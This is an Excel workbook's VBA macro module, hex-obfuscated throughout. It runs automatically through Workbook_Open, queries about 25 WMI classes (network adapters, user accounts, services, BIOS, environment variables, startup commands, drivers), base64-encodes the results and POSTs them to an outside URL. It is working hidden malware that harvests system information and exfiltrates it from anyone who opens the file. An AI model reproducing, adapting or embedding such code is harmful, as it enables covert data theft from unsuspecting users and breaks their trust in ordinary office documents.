Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const nzslynpeha = 2
Const nefuhtkuev = 1
Const yxtfogysvi = 0
Sub Workbook_Open()
kobgwwizmj
End Sub
Sub kobgwwizmj()
Dim byfuecbw       As Object
Dim azrwemvrgxpef      As Object
Dim jdryvxbqqka       As Object
Dim vjmxuhqgswzhnlwtbzg        As Object
Dim yichuclkzdspcun               As Long
Dim yhuihbwhuwi               As Integer
Dim pxjjhyujtbsvoolqhqv               As Integer
Dim sWQL(1 To 25) As String
Dim arrMarks() As String
Dim wuvytgeakiv As String
Dim vrxgmbpd As Boolean
ReDim arrMarks(65535)
sWQL(1) = xmdhezkcfxfn("53656c656374202a2046") & xmdhezkcfxfn("726f6d2057696e33325f4e6574776f726b41646170746572436f6e66696775726174696f6e")
sWQL(2) = xmdhezkcfxfn("53656c656374202a2046726f6d2057696e33325f53797374656d") & xmdhezkcfxfn("456e636c6f73757265") 'PC
sWQL(3) = xmdhezkcfxfn("53656c656374202a2046726f6d2057696e33325f4c6f676963616c446973") & xmdhezkcfxfn("6b")
sWQL(4) = xmdhezkcfxfn("5365") & xmdhezkcfxfn("6c656374202a2046726f6d2057696e33325f50726f636573736f72")
sWQL(5) = xmdhezkcfxfn("53656c656374202a2046726f6d2057696e33325f5068") & xmdhezkcfxfn("79736963616c4d656d6f72794172726179")
sWQL(6) = xmdhezkcfxfn("53656c6563") & xmdhezkcfxfn("74202a2046726f6d2057696e33325f566964656f436f6e74726f6c6c6572")
sWQL(7) = xmdhezkcfxfn("53656c656374") & xmdhezkcfxfn("202a2046726f6d2057696e33325f4f6e426f617264446576696365")
sWQL(8) = xmdhezkcfxfn("53656c656374202a20") & xmdhezkcfxfn("46726f6d2057696e33325f4f7065726174696e6753797374656d")
sWQL(9) = xmdhezkcfxfn("53") & xmdhezkcfxfn("656c656374202a2046726f6d2057496e33325f5072696e746572")
sWQL(10) = xmdhezkcfxfn("53656c656374202a2046726f6d2057696e33325f5072") & xmdhezkcfxfn("6f64756374")
sWQL(11) = xmdhezkcfxfn("53656c656374202a2046726f6d205749") & xmdhezkcfxfn("6e33325f4163636f756e74")
sWQL(12) = xmdhezkcfxfn("53656c656374202a2046726f6d2057696e33325f436f6d7075746572") & xmdhezkcfxfn("53797374656d")
sWQL(13) = xmdhezkcfxfn("53656c656374202a2046726f6d2057696e33325f4261736553") & xmdhezkcfxfn("657276696365") 'List services running (or stopped) on any PC along with the service
sWQL(14) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e33325f5365") & xmdhezkcfxfn("7276696365")
sWQL(15) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e33325f4249") & xmdhezkcfxfn("4f53") 'Represents the attributes of the computer system
sWQL(16) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e33325f537973") & xmdhezkcfxfn("74656d42494f53")
sWQL(17) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e33325f44") & xmdhezkcfxfn("65736b746f70") 'Represents the common characteristics of a user
sWQL(18) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e3332") & xmdhezkcfxfn("5f456e7669726f6e6d656e74")
sWQL(19) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e33325f436f6d") & xmdhezkcfxfn("707574657253797374656d50726f64756374")
sWQL(20) = xmdhezkcfxfn("53") & xmdhezkcfxfn("656c656374202a2066726f6d2057696e33325f53746172747570436f6d6d616e64")
sWQL(21) = xmdhezkcfxfn("53656c656374202a2066726f6d20") & xmdhezkcfxfn("57696e33325f53797374656d426f6f74436f6e66696775726174696f6e")
sWQL(22) = xmdhezkcfxfn("53656c656374202a2066726f6d2057696e33325f537973") & xmdhezkcfxfn("74656d5365727669636573")
sWQL(23) = xmdhezkcfxfn("53656c656374202a2066726f") & xmdhezkcfxfn("6d2057696e33325f53797374656d53657474696e67")
sWQL(24) = xmdhezkcfxfn("53656c656374202a") & xmdhezkcfxfn("2066726f6d2057696e33325f53797374656d53797374656d447269766572")
sWQL(25) = xmdhezkcfxfn("53656c656374202a2066726f") & xmdhezkcfxfn("6d2057696e33325f4c6f676963616c50726f6772616d47726f7570")
For yhuihbwhuwi = LBound(sWQL) To UBound(sWQL)
pxjjhyujtbsvoolqhqv = pxjjhyujtbsvoolqhqv + 1
arrMarks(pxjjhyujtbsvoolqhqv) = xmdhezkcfxfn("2a2a2a2a") & xmdhezkcfxfn("2a20") & sWQL(yhuihbwhuwi) & xmdhezkcfxfn("202a2a") & xmdhezkcfxfn("2a2a2a") & vbCr
Set byfuecbw = GetObject(xmdhezkcfxfn("77696e6d676d") & xmdhezkcfxfn("74733a726f6f742f43494d5632"))
Set azrwemvrgxpef = byfuecbw.ExecQuery(sWQL(yhuihbwhuwi))
For Each jdryvxbqqka In azrwemvrgxpef
For Each vjmxuhqgswzhnlwtbzg In jdryvxbqqka.Properties_
pxjjhyujtbsvoolqhqv = pxjjhyujtbsvoolqhqv + 1
If IsArray(vjmxuhqgswzhnlwtbzg.Value) Then
For yichuclkzdspcun = LBound(vjmxuhqgswzhnlwtbzg.Value) To UBound(vjmxuhqgswzhnlwtbzg.Value)
If Not IsNull(vjmxuhqgswzhnlwtbzg.Value(yichuclkzdspcun)) Then
arrMarks(pxjjhyujtbsvoolqhqv) = vjmxuhqgswzhnlwtbzg.Name & xmdhezkcfxfn("28") & yichuclkzdspcun & xmdhezkcfxfn("29") & vjmxuhqgswzhnlwtbzg.Value(yichuclkzdspcun) & vbCr
End If
Next
ElseIf Not IsNull(vjmxuhqgswzhnlwtbzg.Value) Then
arrMarks(pxjjhyujtbsvoolqhqv) = vjmxuhqgswzhnlwtbzg.Name & xmdhezkcfxfn("20") & vjmxuhqgswzhnlwtbzg.Value & vbCr
End If
Next
Next
Next yhuihbwhuwi
ReDim Preserve arrMarks(pxjjhyujtbsvoolqhqv)
wuvytgeakiv = Join(arrMarks)
vrxgmbpd = avhvhswfvzznh(xmdhezkcfxfn("68747470733a2f2f7777772e6d6572747361726963612e63") & xmdhezkcfxfn("6f6d2f6d6163726f2e706870"), wuvytgeakiv)
End Sub
Function avhvhswfvzznh(sdjxjlakglxqfehcjcfw As String, pialnzoxqryieavfzgog As String)
Dim kscseprkyud
Set kscseprkyud = CreateObject(xmdhezkcfxfn("4d53584d4c32") & xmdhezkcfxfn("2e584d4c48545450"))
kscseprkyud.Open xmdhezkcfxfn("50") & xmdhezkcfxfn("4f5354"), sdjxjlakglxqfehcjcfw, False
kscseprkyud.setRequestHeader xmdhezkcfxfn("436f6e74656e74") & xmdhezkcfxfn("2d54797065"), xmdhezkcfxfn("6170706c69636174696f6e2f782d7777772d666f726d2d75726c656e") & xmdhezkcfxfn("636f646564")
kscseprkyud.send xmdhezkcfxfn("6d61") & xmdhezkcfxfn("63726f3d") & devoitudboz(pialnzoxqryieavfzgog)
End Function
Function devoitudboz(mbnqoyun As String) As String
Dim arrData() As Byte
arrData = StrConv(mbnqoyun, vbFromUnicode)
Dim zvlzrwnd As MSXML2.DOMDocument60
Dim mqwztjzkr As MSXML2.IXMLDOMElement
Set zvlzrwnd = New MSXML2.DOMDocument60
Set mqwztjzkr = zvlzrwnd.createElement(xmdhezkcfxfn("623634"))
mqwztjzkr.DataType = xmdhezkcfxfn("62696e2e") & xmdhezkcfxfn("626173653634")
mqwztjzkr.nodeTypedValue = arrData
devoitudboz = mqwztjzkr.Text
Set mqwztjzkr = Nothing
Set zvlzrwnd = Nothing
End Function
Private Function xmdhezkcfxfn(ByVal colrskqmyttf As String) As String
Dim rupwqucjovcf As Long
For rupwqucjovcf = 1 To Len(colrskqmyttf) Step 2
xmdhezkcfxfn = xmdhezkcfxfn & Chr$(Val("&H" & Mid$(colrskqmyttf, rupwqucjovcf, 2)))
Next rupwqucjovcf
End Function